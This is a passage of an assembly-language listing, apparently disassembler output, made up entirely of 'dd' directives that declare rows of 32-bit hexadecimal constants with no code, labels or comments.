		dd 609089DDh, 2F7D147Fh, 52ABB53Eh, 57F32B5Dh, 0BC172184h
		dd 2BD4518Fh, 0E6F5B877h, 125FCBE0h, 39331568h,	972E30D8h
		dd 149C7F05h, 0E210F301h, 348B1208h, 69680ACBh,	680602B5h
		dd 46CC3F29h, 1FAC0C20h, 0CF5AC281h, 6B6562E6h,	3B6204B9h
		dd 931DE975h, 0FE987956h, 69C2BDF7h, 619FD157h,	63E64AE9h
		dd 0DF6814CEh, 9AFA4E8Dh, 0F8B95F64h, 0D33C5C96h, 0DA31EF45h
		dd 41CE54F6h, 7932E000h, 0F15E624h, 6CA95B7Bh, 0F281DA5Eh
		dd 0FC29AE3Eh, 6A85EA82h, 66FC5EA9h, 55CD9309h,	210F46F1h
		dd 0BECB64F0h, 5E3F48E4h, 0D3B0A329h, 9F528BDCh, 5B97274Eh
		dd 0BF08B0C2h, 3A512CA6h, 68D0D29Eh, 1ADC3507h,	45A211C9h
		dd 0B5257D12h, 0F620AF03h, 9FF48E4Dh, 9C92697Ah, 2D4FF10Dh
		dd 0E5E31427h, 0CC020816h, 43367252h, 0B9248579h, 4D82A506h
		dd 66CB48A3h, 2723831Ch, 0A10B65DDh, 181935F1h,	729E3513h
		dd 0FC0B2693h, 27E346BCh, 0D65E2868h, 535E5460h, 83B02BBh
		dd 72E9308Eh, 76BFD9E4h, 0DDA501EBh, 2B29C1E0h,	0C2D3E2C2h
		dd 51EA001h, 693F31EBh,	1DAB3140h, 17196D56h, 0FC3EB9B5h
		dd 9D874E56h, 6A82D6F5h, 0E366F74Bh, 3591EF7Ch,	74E95F97h
		dd 0D1FDE9E3h, 47CA09EEh, 95C3B26Fh, 0F6C81C8h,	7C00E49Bh
		dd 0C113155Ch, 6E054CE1h, 0C70AE405h, 5801C2Dh,	0EF216C73h
		dd 7BD4FF06h, 38C10173h, 13AEE5Bh, 15DF40F1h, 734CA92Eh
		dd 2F890FB2h, 0C5801D25h, 18CD2D37h, 0EE285EE9h, 41681221h
		dd 0F6BE84E7h, 5E351796h, 0F2304FB5h, 3636695Fh, 0F32C8D73h
		dd 331A08h, 7D72255Ah, 709F61D7h, 506C341h, 0A5F8FC2Dh
		dd 0C258014Eh, 6B1B2167h, 0F18A30DFh, 839CB13Ch, 2DB3E3B2h
		dd 0B6DED382h, 80C0D067h, 92847C3h, 4B2C5BD8h, 777A0574h
		dd 0B8258296h, 0B0446CACh, 597C163Dh, 70E706E1h, 6814DBCFh
		dd 0D0932381h, 0CC6E1389h, 68905037h, 2759157Dh, 187E5E33h
		dd 0F5CAF680h, 90569D73h, 0CEB2A00h, 0DE681823h, 333B8D54h
		dd 0E4424B7h, 2EA1ACBBh, 0FE89DF9Bh, 0E75BA24Ch, 0C2F2254Dh
		dd 9AD53750h, 0F57E5723h, 2734D24Bh, 8CF9D1FCh,	0A2BEF812h
		dd 35234CB1h, 2BE652Ah,	5020351Ah, 6D9A2860h, 568A91BFh
		dd 33D09089h, 0AC44457Fh, 6B080091h, 0C683634h,	0F65D0BCBh
		dd 92B82651h, 0E8CBBF51h, 5D323A55h, 6CE19A99h,	5F6882DBh
		dd 1A1B5550h, 472620C8h, 83EA8709h, 17335EEDh, 59DB85Ah
		dd 1741519Eh, 0AA39D604h, 0AF7D2C05h, 2EE99228h, 69DC03FEh
		dd 5675D412h, 2B2842F6h, 564278FCh, 69EAD5BEh, 264002DDh
		dd 3CD2516Ah, 0B85DED12h, 5BA59234h, 0DD30EAEBh, 5CA7380Ch
		dd 4950912h, 87C50BBh, 2755FC5Ah, 2CB72C11h, 89D317B9h
		dd 0E94130C1h, 68D244A6h, 1D6366ABh, 0BF3B5520h, 1EA4497Ch
		dd 0CA90DB38h, 328016B5h, 0A848F1CDh, 38E28100h, 65023D5Ah
		dd 583EAA96h, 47F29E74h, 1E5B8B05h, 1AB45729h, 2078B05Ah
		dd 0BD07463Bh, 204D7CC7h, 2E2CDA3h, 0DA4C555h, 4FC401BBh
		dd 0F50106DFh, 0CBD117Eh, 0EC3A4B61h, 0EF0102A1h, 575C52E9h
		dd 0D143F03Ah, 12C902EAh, 0AA977E2Dh, 845F34A3h, 0B004F2ABh
		dd 955EF521h, 0E925907Fh, 0B309B525h, 0E98D0C47h, 0AE2FCF19h
		dd 0B389735Eh, 6314FC88h, 0F30F4E0Dh, 61305EDh,	5DCE2901h
		dd 0AF5B445Ch, 0FD011E6Ch, 7A29F011h, 569E5DE8h, 5A27BC63h
		dd 31C960CAh, 4028BADDh, 2402177Dh, 2DF409C5h, 0E98470D6h
		dd 2C076051h, 0B050D181h, 21882AD9h, 0B414C066h, 80D4F631h
		dd 9845F439h, 0B61AC1E4h, 0ED287A27h, 414B9230h, 7A173067h
		dd 0BA649C9Dh, 0E1F72D5Fh, 2228CC1h, 6B0FE154h,	0C0FE924Dh
		dd 27432C68h, 0F5613D59h, 4069E69Ch, 0B1E16BF8h, 0E6C41D72h
		dd 0F99DAA73h, 86FDBC7Ah, 262B37F2h, 67E24694h,	797AE052h
		dd 5A7F17E0h, 0FC6D962Dh, 2361FA2Bh, 295C0039h,	613DB1CFh
		dd 5009E9C3h, 1E883E7h,	733709Dh, 16438A0Dh, 0C3E07B3Ah
		dd 0A5BDF4FFh, 0C056AFABh, 0CE6CC0BEh, 0CF3F2151h, 767E1312h
		dd 4A3AB2D3h, 0D664EF5Bh, 0CEBFC82h, 0A241685Ah, 120F2660h
		dd 10DC058h, 7B1A4503h,	56C73A0Eh, 0C2725719h, 9C265404h
		dd 90FB099Dh, 37246F4Dh, 9DF1794Ah, 0F026F820h,	0BA56B559h
		dd 0F00E870Ch, 388C2A68h, 13D84E8Eh, 0BCD9AF2Eh, 0B7876460h
		dd 980C4F59h, 63D43D4Ch, 30C20B0Dh, 65954713h, 0CE16A9F3h
		dd 3493A333h, 9C0411D3h, 0BB00F6E4h, 1E6E3AF8h,	81434B00h
		dd 672C4FCBh, 8E91248h,	17578A2Fh, 0A9D3821Fh, 1C4B983Eh
		dd 0D5F7094Dh, 9AFDA668h, 0DA78552Ch, 62A0D59Dh, 6BDC161Ch
		dd 0DCB4215Fh, 0F7EBC501h, 0C2AB20DAh, 35EC5849h, 9A89F4B5h
		dd 0A25C2634h, 20CAEC25h, 16809055h, 5880320Fh,	7DF37829h
		dd 1F2C9F2Ch, 5717ABB4h, 0FD016E66h, 79470825h,	1DD0CDD9h
		dd 68120B3Bh, 0A2D123B4h, 69490293h, 6565845Eh,	0A05A0116h
		dd 2F40E315h, 0C2A038BEh, 6BF36F09h, 159640BDh,	51BE80B1h
		dd 6A65937Dh, 4FA5EA2h,	0EFFE0122h, 7643F8A7h, 50AE2210h
		dd 123A89C1h, 5EEFDF63h, 1EC68291h, 9985282Ch, 200B9643h
		dd 0DB60F541h, 0CF7F1825h, 0F174262h, 5A519014h, 0A4B4C0BDh
		dd 5889B195h, 0B32717D3h, 0A59B0768h, 6F9267C6h, 0A27EE991h
		dd 128B9555h, 0A906B950h, 61B3DF80h, 2DB8E4BAh,	0E05C8831h
		dd 6E0500A3h, 0D095D0Fh, 7D3C290Bh, 60144252h, 27301069h
		dd 50C83703h, 0F2FCE9C6h, 8CBE54BDh, 0E285DBDCh, 3021FA3Fh
		dd 4B06CA61h, 6EE16971h, 7CE03C74h, 0B51C2C3Ch,	5B869E65h
		dd 5FF25CE4h, 3EC5E1D2h, 93E5C6B9h, 0AA80A9C8h,	565A4E4Ch
		dd 77D9A7E5h, 0E54EA83Bh, 13C1CDE0h, 0F96B146Ah, 5A961800h
		dd 27309E0Ch, 0F2F24645h, 0C6FFCC00h, 0E9DF0135h, 2D4BAD6h
		dd 0C158C709h, 0ABC108EFh, 405AA579h, 75196DACh, 0B7681E52h
		dd 9E826934h, 0EAC1CC02h, 0F1522B34h, 7D6370F1h, 0C843EDDFh
		dd 9D583515h, 18170363h
		dd 8E058F66h, 0D4BD2636h, 5EDEA893h, 681E38FEh,	363A762Fh
		dd 3B913063h, 67F9F57Bh, 0ED7FBF28h, 0BD5D8640h, 981B24Ah
		dd 0D49C6579h, 0F909C981h, 5D418F23h, 7582A62Eh, 81402D59h
		dd 0AC81CE22h, 70B2C160h, 0F8D04145h, 0B8998BF5h, 7BD912BCh
		dd 0AFF4B8A8h, 624ACE3h, 96AD9D0Ah, 0B5FEC10Ah,	80D02FDBh
		dd 0BB15150h, 59CC8891h, 0E810484h, 0FFC4C61Dh,	0E00D4E12h
		dd 2EE97A5Dh, 68550409h, 0BDBB1D3Dh, 0F482CCF1h, 60779B31h
		dd 0F4563D38h, 3FE6EC15h, 92518C0h, 41176BF8h, 67133680h
		dd 0E532608h, 0CEAFA29h, 885285D6h, 39B0C7E2h, 596BA75Eh
		dd 0C1904B9Ch, 2CD22D65h, 5FF8CABFh, 483D73AAh,	2C32D4Ch
		dd 8C05FAE1h, 0FF41D817h, 4C3A97CCh, 0E320837Ch, 17B86813h
		dd 0D02062D9h, 7F7D04B7h, 0FAEDD11Ah, 0C4F5C540h, 974FEFB6h
		dd 0CC2CB35Ah, 5960762Ch, 0FF877C88h, 0E634EE65h, 0EB2880C2h
		dd 6630592Dh, 735A26ADh, 42689D8Fh, 594C404Bh, 0BEC1E5D0h
		dd 7C62351Ah, 0AEE3BA81h, 2E89E4EFh, 0DE848AB2h, 0C487F865h
		dd 0E2145572h, 419AEF03h, 0D5E1209Dh, 8E802845h, 8DFA7783h
		dd 87743D95h, 656B6E68h, 0F7018B53h, 5F9F5FEEh,	682DA61Ch
		dd 0F7498B36h, 0E905D0E5h, 0F3AD9381h, 0C35F3869h, 53C8E978h
		dd 0DA034B7Ah, 47569C92h, 0EE24A7ACh, 43B5FC3Dh, 6062C77h
		dd 0E2B61617h, 6850240Dh, 0BEC0CD16h, 39802EB7h, 0C7BECFF7h
		dd 4A0BFEB2h, 0B8C941FDh, 0B55CAC24h, 17088CCDh, 3983278h
		dd 0D625F3DCh, 3DFD1F8Ch, 1405C01Ah, 790AC97Dh,	0FBA8847Eh
		dd 83000A94h, 324B444Fh, 0BCDF9559h, 0DDC4253Bh, 0F49BC65Dh
		dd 0AFB95A93h, 0F4947627h, 0AA8913BFh, 0D24EDE9Bh, 9D4206CCh
		dd 0D84B8C02h, 79A76455h, 0A81C4A80h, 26AA4E15h, 0B40AB516h
		dd 0DD26F83Fh, 7FE0E842h, 0EA68C1B8h, 1A310D5Bh, 0F67B6F43h
		dd 1F0F174Eh, 68E015E8h, 7ABB5694h, 0EC50E17h, 7EC5E7EAh
		dd 83AAE6E8h, 9F6A70F6h, 9398BE21h, 9664686Dh, 18C38B23h
		dd 44A243CEh, 9DBD9CFFh, 5DEF55B0h, 6246D197h, 7A515A19h
		dd 363088h, 4A82A0BDh, 0EA038123h, 785309D4h, 6857B029h
		dd 4C6F031Fh, 61E95F6Dh, 7341F29Ch, 6853C200h, 70440566h
		dd 92D9BF8Bh, 0F4180453h, 0FB775270h, 81635D4h,	1BE3E665h
		dd 30ADB95Fh, 4DF93E02h, 5C485C3Bh, 0C404B006h,	6A070C37h
		dd 0E96F0E7Ah, 0CAB86484h, 55A04193h, 0FD269783h, 5AF1745Dh
		dd 9AB42D06h, 722466Eh,	20EA427Ah, 66886901h, 12F52508h
		dd 6FDBFDFEh, 69ABB234h, 7FA33E05h, 0E8289A14h,	8577878Bh
		dd 0BF416558h, 388D69E5h, 17BC2670h, 72BE7Dh, 82501FBDh
		dd 0F509097Eh, 0FFA760E9h, 6681B90h, 76BD5D70h,	0E872703Bh
		dd 81D14382h, 0C1004720h, 1B2E092Ch, 0F800A86Ah, 1DAB279h
		dd 315B13D9h, 264C09CEh, 0D9E4BBF5h, 0DD22FDC7h, 4C5DC5C3h
		dd 0B1E979C0h, 3AF66155h, 88451881h, 0CB535802h, 1C66F508h
		dd 61644Fh, 26444E03h, 7B17DC05h, 0A58341E0h, 6802CC1Ch
		dd 0B74C19B2h, 2DCA6920h, 0A1702959h, 0CAB0062Eh, 5FFB5209h
		dd 0F20673E4h, 140A55Ah, 0A444F811h, 208E980Ch,	0C03E2166h
		dd 0D3F683E3h, 854FF380h, 9555828Ch, 1853C5DEh,	8D6E273Eh
		dd 8031CBFEh, 9019FCEBh, 0C758974Ah, 873EAC00h,	85F6E921h
		dd 0CE4A3CBAh, 5C019928h, 490456FEh, 0EF3ADA67h, 0E9E07BBCh
		dd 16BFECB3h, 0C9B7F40Ah, 777E783h, 0F7603B67h,	0B051419Fh
		dd 0EAED05DCh, 0BB796367h, 8C5600Ah, 0B4055F17h, 27EE1BD5h
		dd 948082FBh, 0CEC0646Ah, 0F09D88F8h, 22E869B5h, 62D280F4h
		dd 9CB253Fh, 0E25AC0BEh, 9F4E190Ah, 0B0514BCh, 0AA641F08h
		dd 0E1BA77D5h, 17DB6DCEh, 81452F21h, 20D82097h,	41B84B01h
		dd 0A01B40D5h, 0B0CCA54Dh, 246C509h, 0E9B4400Eh, 5404BAC9h
		dd 3F902385h, 4A016852h, 2E03CF3Eh, 2B12905Ah, 0FF4B70BCh
		dd 43133C8Eh, 56DCAB20h, 3B68CB5Eh, 0C71430C6h,	79B1AF23h
		dd 81A55958h, 3EA1686h,	0FDF7030h, 290FE260h, 80A1C9Ah
		dd 0B8C10EAh, 8466BA5Fh, 10FB92B1h, 5704A586h, 0E1625052h
		dd 3B33DD19h, 63285247h, 0DF65FD0Bh, 0CA92BFBFh, 4F36C28Ch
		dd 0F4FEFCB3h, 0CBB2E2FEh, 50ED575Bh, 5813DDA5h, 54F04202h
		dd 12316E2Dh, 5824BC66h, 0DBBBA974h, 5CE80CECh,	68CA8007h
		dd 0EA53DAF6h, 0B5101DFEh, 0B2045752h, 0EE51CF3Ch, 62FA12D8h
		dd 0E2D728A1h, 0F5626A38h, 0F3FC5F9Ah, 79789303h, 3FF00401h
		dd 0B9491F58h, 0A0084181h, 0D3B8141Ch, 2304CA7Ch, 9DD0E93Ch
		dd 4E079FF9h, 0B2A54989h, 364A6EDCh, 0D126CBF7h, 79A86518h
		dd 528F1270h, 0EF990008h, 6AE64D0Eh, 5595E912h,	9C7ECDCCh
		dd 25A821A1h, 290769DFh, 0C9815680h, 26BF6EA6h,	4CE1C12Ch
		dd 564CC009h, 16986F10h, 0D1817FA7h, 9B44224h, 1E4B718h
		dd 0E9CFBFE0h, 9105E05Ah, 0A265CA29h, 55E97498h, 0A37EE893h
		dd 81AB4A29h, 10D504B0h, 5426E955h, 3F38E82h, 23E22A92h
		dd 0BFEBE3D1h, 0D3F74500h, 63AF2593h, 0BA6C4BA1h, 0A3FAAC1h
		dd 0F02BB225h, 650092FDh, 0F6817E2Ch, 0A0C60F5Eh, 598CE9Dh
		dd 0E9448C08h, 0FEC4AA1Eh, 59AA71ABh, 2D886ADBh, 4C202571h
		dd 7887AA80h, 82B81AECh, 2BF3B94Ah, 89DDEF93h, 7038FB2Ah
		dd 13254FE9h, 922E826h,	0B06B9568h, 2E46AC14h, 46D2ED6h
		dd 0F02348ADh, 4A120744h, 0F901DAF7h, 0BB156BB2h, 0CC93A57Ah
		dd 67125105h, 468C45C3h, 9462768h, 35E482C9h, 95C06AE4h
		dd 0BF44DB74h, 694F5674h, 121F5FBh, 0D2618968h,	5BC0DE4Ah
		dd 909D26A4h, 0CBA52EAh, 293850EFh, 0AF1F15AAh,	0D7D8D6C7h
		dd 0F3E9FE92h, 0BF01802Ch, 2838A3EDh, 0EF5FF131h, 6F015E91h
		dd 4712D8A9h, 0DE5EA843h, 0FC27845Fh, 0B3BF70EDh, 31E4FE7Eh
		dd 0D701A1A0h, 17FE53BDh, 6D1E0950h, 0B0808971h, 0E90B7926h
		dd 3643FF73h, 95BAC14Eh, 1C1F0845h, 71E26A85h, 691465C2h
		dd 0C16FFA35h, 7FF29FF1h, 7D693BCFh, 1F3384CCh,	0BBD05DEDh
		dd 0DAF9C45Eh, 0ECF7A55Bh, 449F308Bh, 94FAA061h, 42780532h
		dd 0E50FA868h, 90402E5Bh, 0B59F84C5h, 0EE012EC4h, 0C18B3164h
		dd 5B8A20E3h, 0C12B3F6Fh, 0D1B901E7h, 0AAAD127Fh, 40D81F80h
		dd 5E2531C5h, 624C80h, 1E03EFC0h, 0D2ADC780h, 0BBD9C5E1h
		dd 5A68312Ch, 1682EDC2h, 38AF0771h, 0B57FE940h,	0E7826BB6h
		dd 0FF595D57h, 0E2D1EDE0h, 0B60F6490h, 786D5F2Bh, 0B351399h
		dd 8D94E91Dh, 5E975768h, 0C170F51Dh, 830B68AEh,	0C665C985h
		dd 585EF1CBh, 0C9428EF0h, 28492D18h, 0D3F02A5Fh, 68720E0Dh
		dd 15A170EFh, 2B387A64h, 2FF9CF0h, 0E9C1017Dh, 0E5456831h
		dd 5780251Fh, 35403E84h, 5B7E1DFBh, 0E805817Dh,	0EC7BD954h
		dd 0AE304827h, 0AF7AB820h, 0C30116FEh, 0D90E2058h, 635BB54Ch
		dd 7A8537ECh, 6F3CEBF8h, 0E4114ABBh, 2E4B7E66h,	8CAA99ABh
		dd 0AB69D418h, 0D5304EEh, 0AB011297h, 1208F610h, 2DFB575Bh
		dd 14E37AE3h, 0BD733ED5h, 5C97051h, 28AB0CD1h, 7441D7E4h
		dd 0A984273Ch, 0DF210B93h, 4F826121h, 755CC261h, 0A4C9551Ah
		dd 20EE0C88h, 0D352C2B3h, 0DB48777Dh, 40C30E18h, 0C30A52B2h
		dd 8282EC22h, 8576F874h, 0A7BD468Eh, 0CE5453C5h, 0B5512974h
		dd 87056865h, 8E8011B2h, 3EDFA2EEh, 9616DA56h, 0EF66BB55h
		dd 7AD0EC6h, 0F1C03C08h, 73634C43h, 0EF9EE924h,	0D35E3FA8h
		dd 0D7EA4AD0h, 343B176Ch
		dd 141BF359h, 11C35Dh, 75D3668Dh, 2E2BB53h, 6818EF45h
		dd 0A051550Fh, 2FE00788h, 5982CFDCh, 89634B72h,	843EDFB8h
		dd 0E498E93Fh, 1AED203Eh, 0C5F24F7Ah, 41B88348h, 0B536EF9Ch
		dd 0EB10D2EEh, 88B80642h, 630F83D1h, 0F6BA8422h, 4B548C1h
		dd 6EFD708Ah, 40F27AC8h, 5EC5260h, 31E115BAh, 255AA640h
		dd 0D93FB10Dh, 5EF9AA20h, 8B1BE24Ah, 0A245D050h, 416F5D5Ch
		dd 0DD0918A8h, 31AED1Eh, 8A63387Ch, 5702F715h, 675F9017h
		dd 0D64A1F59h, 5D1EB072h, 99D6EAECh, 261970FEh,	36488D02h
		dd 8AE63806h, 0C93AAB49h, 505C3D00h, 0B4FAE90Ah, 9BD02524h
		dd 598D2F27h, 26532BCBh, 25411040h, 81D3562Dh, 480BA105h
		dd 7C70D602h, 10873857h, 58251266h, 97DDC455h, 0D0E8BFFAh
		dd 0D274E895h, 4C561D4Dh, 828CA801h, 36B62208h,	0BC964C6h
		dd 766062Dh, 76C509FFh,	0F4294542h, 0EA900597h,	0E697D94Ah
		dd 986FFAABh, 40D298DEh, 801C5AE3h, 752FFAC3h, 0FB2F8925h
		dd 9C828637h, 69BC7D50h, 30ABE90Eh, 209837FFh, 14B6012Dh
		dd 0E8012E18h, 50074705h, 31F94B4Ah, 0DD25DEA0h, 16BC4699h
		dd 4CD95018h, 0BB72BB2Bh, 25565E26h, 13041A0h, 80BF3BBFh
		dd 0DE6CD84Ah, 7CDFC31h, 37E760CCh, 0C1001B4Dh,	3BF9456h
		dd 5D25EBFEh, 1FCBF75Ah, 528FEA5h, 71119855h, 0C2B38074h
		dd 287FB60Fh, 0A9EB6BDEh, 0B9305FFFh, 0FC5BB551h, 0E12D3CEDh
		dd 2EA65A0h, 435A2233h,	0E912528Ah, 6899F182h, 3CB1B147h
		dd 55565700h, 149D683Ch, 1A9E184Eh, 738131Ch, 5194EFECh
		dd 14901080h, 0C2555835h, 0FA6B0B71h, 6ED6420Dh, 28DFC281h
		dd 4A290AF7h, 0C5A9DD04h, 45FCFACDh, 0FE49713Ch, 0F604F00Fh
		dd 0FACADC25h, 41EDE52h, 0F2524990h, 84E64F79h,	53F2AA2Fh
		dd 0EEE1EC4h, 4737C459h, 0AFBF25BBh, 984F14B7h,	3D2568A7h
		dd 2FDE7343h, 0FC36012Fh, 6FFF101Eh, 0FF144E78h, 23D2A527h
		dd 0F7C0A0ECh, 4A3D1F21h, 64DF18ACh, 0D63E32E9h, 126AD867h
		dd 9ABFA666h, 0B2E49EEh, 0F46127E9h, 0A6DB6BA2h, 75B05CE4h
		dd 0E878DC29h, 0AAC206BAh, 0C01F4136h, 220BBD35h, 9654E816h
		dd 64BA0618h, 20C39D3h,	56F56928h, 0D182D629h, 0A3C5190Bh
		dd 5EBA6805h, 19CE32ABh, 7425DCD4h, 0B0C05E5Fh,	40146857h
		dd 5F792FBAh, 129A9CE5h, 4DC9801Fh, 0C1572973h,	0FF06010Ch
		dd 26506B3Dh, 140C6808h, 24CFE905h, 0D6278ABAh,	0A29996BBh
		dd 0E0D15E14h, 0F0E2A347h, 4809686Ch, 0B90280E8h, 672B76E6h
		dd 6E197457h, 204B06DEh, 99380C18h, 22B57672h, 0A91D273h
		dd 527D13AAh, 9A111C9Bh, 99C108DDh, 0DEE10472h,	21076883h
		dd 0E5F11BBFh, 0B11CA962h, 4F7E201h, 8F282920h,	0AD2B200h
		dd 1D47E921h, 57C1CA9Dh, 0F73BCC61h, 6221BBDCh,	0F141D430h
		dd 5006211h, 0F3D3AE4h,	55B97493h, 1BEAC501h, 16ED1C49h
		dd 800FCF6Ch, 9C1EE0F4h, 32572503h, 0C2797E7Eh,	0BB209E5h
		dd 0E848EC84h, 0E1645FC0h, 0FAF798BFh, 4355340h, 1036449Ah
		dd 0CAC3D050h, 5D4F8A57h, 705E5E1h, 97E5A2BEh, 823C6BE0h
		dd 0E4F202FFh, 0E500B4Bh, 0EC96931h, 0F8C1572Ch, 0F8F4AB30h
		dd 5C865985h, 0B7D4315Bh, 0E4CC2E2Eh, 0EF1C3DFEh, 0D45B292Dh
		dd 8820C20h, 5A2BC97Fh,	0FF8C843Ah, 6B943994h, 2C3846BFh
		dd 48765E27h, 0B5067535h, 927C17A2h, 76A4C018h,	0D5F6CDFEh
		dd 86ED801Fh, 0F173ACC9h, 0E95C50D7h, 2FC11A4Ah, 0F540FABDh
		dd 1F58121h, 7FB3788Ah,	2B68B2E9h, 36C951FCh, 0DC282DC0h
		dd 92BE09EEh, 0DD77322Fh, 41A00404h, 0CC1643EEh, 4A3F68D4h
		dd 69ADF31Bh, 2105F56h,	59806FECh, 83E35888h, 0BC699A16h
		dd 32EDC1AAh, 902A7A52h, 95203DCBh, 8368030Bh, 98A21B67h
		dd 0AB88E9F8h, 1587A993h, 0CE404B7Fh, 1A404758h, 0A916BD21h
		dd 0AC985EBFh, 9CD52705h, 6A5095B4h, 0CD429309h, 41AE0009h
		dd 6619D265h, 6034248h,	3D250504h, 46C1F937h, 0CA6F7FDDh
		dd 20BB106Dh, 73B1EC4Ah, 77743480h, 4E069C84h, 0D8252AE8h
		dd 38426904h, 33686D21h, 34804D5Fh, 249D5714h, 0EDACA29Ah
		dd 82C6A64Eh, 5DA23DE9h, 5A254A4Ch, 2083987Ah, 8BCBB92Bh
		dd 60775352h, 12E37A5Eh, 0FC29E977h, 0E5BC5EB5h, 582F54ECh
		dd 0EBC6F305h, 16B788A2h, 40C91AD5h, 4231B8Bh, 2C2D6621h
		dd 6EC1EF14h, 5D004915h, 353C8905h, 653EE4D2h, 82EB8005h
		dd 0E377B498h, 2DE3A7ADh, 0BB1C0241h, 0D4FD0A48h, 0CFFA69FDh
		dd 0C6C502E7h, 38303F60h, 82D6787Fh, 587B7408h,	9B2F1F56h
		dd 0AA0C4343h, 0CF52D1E4h, 0A8B112D6h, 6AEB8364h, 0BBE956Ch
		dd 0BD61EEB8h, 6FF42B09h, 0D2561F60h, 227CA746h, 3AB45C97h
		dd 9254967h, 4735AD15h,	0C47B4A7Dh, 7AB8EA77h, 8F3ED21Dh
		dd 5829C709h, 250F8ADEh, 81BAD779h, 892B6BECh, 3178687Ah
		dd 4B30542Fh, 808231h, 73014E65h, 4B260B5h, 47160139h
		dd 4A06BE56h, 2B7CF246h, 0D5A81D0Bh, 0DAD904B1h, 0C80B570Bh
		dd 6831815Fh, 5D516EEAh, 0BC6E5351h, 5DE9A86Eh,	0A15B4650h
		dd 0B4E76C15h, 76F590BBh, 527EBCDDh, 17E5F203h,	0E6C17277h
		dd 6BD2C1B0h, 0EB51FA6Eh, 64A07FBh, 4D7740EEh, 0E956DED8h
		dd 904B9E4Bh, 38618355h, 2CDC2083h, 819994FEh, 333DA04h
		dd 841BDF2h, 0DF07F83Ah, 7AD5F357h, 4013480Ch, 81C958FEh
		dd 0BA0E3530h, 2B243B10h, 1903AF7Eh, 62E1240h, 8E2AF6C8h
		dd 0BF011825h, 0E9AF9A0Dh, 14747054h, 690A4CE8h, 7D1A6809h
		dd 3922B766h, 9C0C4E0Bh, 4FB5596Ah, 972C2828h, 688538FFh
		dd 0A67F4A97h, 0B149435h, 8967500Dh, 624885Eh, 38C6C500h
		dd 1529247Eh, 8BA52CDh,	9FE9D50Bh, 0BFC23A9h, 2A685C70h
		dd 903D7264h, 0F71F4F05h, 0B277B25h, 2EFBE886h,	8D18BD0Dh
		dd 0BD036A7Ch, 0EFC15F54h, 75860503h, 0F860DB76h, 892592h
		dd 6D19CAE8h, 5EE9E47Fh, 80420263h, 8AE1F7C2h, 486D8B58h
		dd 9D30FD12h, 4BB5051Eh, 998C88F3h, 0A3C2B7D6h,	622BF17Fh
		dd 88C0C521h, 0C1A85649h, 2512D9CFh, 0DC00692Dh, 0FDA11A17h
		dd 0E2FB5E09h, 0A8B9C05Eh, 0C05D53Ah, 5659CB21h, 0A18667Ah
		dd 44204618h, 253EE208h, 7E0C183h, 773030ABh, 49C60C31h
		dd 0B2435C60h, 981EF203h, 48B2E933h, 0EF9C27F4h, 4B066C06h
		dd 53E60C90h, 965A30C6h, 3B0E1516h, 6C079001h, 0B26E652Ah
		dd 110D0778h, 35F0D65Fh, 0BA57BABh, 58C1312Eh, 0D0EC2057h
		dd 40B7C5A6h, 0F85A2901h, 0E43E75EBh, 0C2D0D87h, 0BB01FD32h
		dd 2D465768h, 478D8FE4h, 0F1E039E0h, 5A51AEB1h,	7ABD1CE9h
		dd 0BF117396h, 122F1B99h, 0D4E4ABF2h, 253B4B12h, 0BE7B64AEh
		dd 0A15ADB88h, 0CE2A90FBh, 0F2A64F6Eh, 0C2C22B25h, 2D7495F5h
		dd 124927C4h, 439E38E5h, 23E95505h, 2FF3F9A6h, 0E2A5D612h
		dd 515F4728h, 41A03C4Ah, 89045D4Ah, 0E8133658h,	63570633h
		dd 20C3567h, 93B15EEh, 296AEDE9h, 0DC55DC62h, 0D0D77A4Ah
		dd 0E7397EFh, 88B456E4h, 40675DBAh, 341D7AC4h, 4E69B3EEh
		dd 44E898AFh, 4BF15E9Dh, 18A4B7A0h, 8A063FEh, 92134371h
		dd 8DEA0178h, 570C0187h, 0AF1A45BFh, 0E908BF02h, 0A548FEDBh
		dd 0B9AE7605h, 6EAA00D6h, 0ED813C91h, 5D0214D4h, 572DFD28h
		dd 153F19D5h, 4AFEEAh, 41FE0D02h, 83922A0Bh, 50416C0h
		dd 5A5D38DCh, 0E9A902B8h, 1552438Bh, 0DF27A90Fh, 87164D8h
		dd 1391E8A4h, 0A81B69F3h
		dd 0D4F85BCDh, 68829095h, 0B4F77040h, 0AA53B7A4h, 0A3810E12h
		dd 0A938015Eh, 5A84A94Eh, 0AFD266F2h, 0CDC62BB6h, 0C709C10Fh
		dd 55D00892h, 3F9A45C9h, 1931C384h, 3503530Fh, 87AAB4D8h
		dd 570589BFh, 50428A59h, 0FE5712B8h, 39D40834h,	1406752Fh
		dd 574E838Ch, 83EA1613h, 40F15BB4h, 9E1E6851h, 71BA6844h
		dd 6AC1D9BEh, 31841BE6h, 0AA5C88D2h, 99EB254Ah,	0E457CA87h
		dd 874964BDh, 60BDAF5Bh, 0D045DC17h, 1F0462CBh,	5F56C41Fh
		dd 9E3EAA49h, 311EC91Bh, 0C15668A4h, 8061885Ch,	78F7F347h
		dd 5C311364h, 9D2017DFh, 8DE68828h, 0C905FD5Fh,	95C2E480h
		dd 3F2DD6C7h, 8E84954Ch, 0C49BE863h, 481631C9h,	5015D74h
		dd 47A8ED80h, 6F3475E9h, 618B00BAh, 0D5BD1B8Eh,	365AE7A3h
		dd 222064B1h, 7B050BE5h, 20550FC4h, 513AF5F9h, 0AD675E3Dh
		dd 0E2CA2707h, 6CFBFFDBh, 0CDA812BFh, 79942221h, 0E7D811C1h
		dd 634B162Eh, 0B90EB72h, 5E2B1DBFh, 0AFE3041Ch,	0B29BAA43h
		dd 432EE909h, 0D9AFE153h, 0B0FF72A4h, 0C450D9CCh, 0BFDC1853h
		dd 14929EB6h, 4F166D18h, 17E4AC57h, 0B3F8EF0Dh,	300330CBh
		dd 7100157Ch, 96F681FEh, 1249A00Eh, 0E5EF189h, 302650D8h
		dd 281F1E39h, 0CF0D941h, 0BFA2F6Dh, 0CF25E90Fh,	13A8CEFFh
		dd 0AE4E3B68h, 0CE52BC3Dh, 865C7557h, 9B6D4C9h,	7B98DD0Ch
		dd 774B8411h, 253B4CBCh, 48B94909h, 0B6DE284h, 8F095D68h
		dd 0C1D3F955h, 2AD0E953h, 26B2E800h, 90A9F280h,	6AC59A2Bh
		dd 0C73395Ch, 0FE14A4B5h, 0EBD0C318h, 12F38008h, 4DE282Fh
		dd 51118DDh, 4E9656E9h,	7CB809C0h, 9D723BDh, 16B1F9AFh
		dd 2CC0BE2Dh, 740BB505h, 3DF8EBA0h, 14C0A06h, 28072DE8h
		dd 8912824Ah, 0E6A991B8h, 597897DDh, 0D209B4Ch,	101BBB04h
